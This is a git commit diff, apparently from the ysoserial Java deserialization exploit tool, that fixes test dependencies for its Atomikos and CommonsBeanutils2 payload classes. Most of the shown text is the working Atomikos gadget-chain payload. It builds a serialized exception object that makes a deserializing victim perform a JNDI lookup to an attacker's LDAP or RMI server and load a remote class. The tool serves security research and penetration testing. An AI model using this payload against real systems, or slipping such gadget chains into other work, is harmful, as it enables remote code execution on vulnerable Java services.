fix some tests

This commit is contained in:
Chris Frohoff
2022-04-29 21:05:18 -07:00
parent 2f52d9da6b
commit 73f83e47e5
3 changed files with 25 additions and 15 deletions
+11 -1
View File
@@ -332,9 +332,19 @@
</dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>transactions-osgi</artifactId>
<artifactId>transactions-jta</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>transactions-api</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>atomikos-util</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
+13 -13
View File
@@ -13,7 +13,7 @@ import ysoserial.payloads.util.Reflections;
/**
*
* Gadget chain:
*
*
* javax/management/BadAttributeValueExpException.readObject()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
@@ -29,48 +29,48 @@ import ysoserial.payloads.util.Reflections;
*
* This gadget chain was also discovered by pwntester:
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
*
*
*/
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
public class Atomikos implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
// validate command
int sep = command.lastIndexOf('/');
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
throw new IllegalArgumentException("Command format is: " + command
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
throw new IllegalArgumentException("Command format is: " + command
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// create factory based on url
String initialContextFactory;
if (url.startsWith("ldap"))
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
else
else
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
// create object
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
// set values using reflection
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
Reflections.setFieldValue(rcut, "providerUrl", url);
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
// create exception
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Reflections.setFieldValue(exception, "val", rcut);
return exception;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Atomikos.class, args);
}
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
// Origin Detective is PHITHON From
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
@Authors({Authors.K4n5ha0})
public class CommonsBeanutils2 implements ObjectPayload<Object> {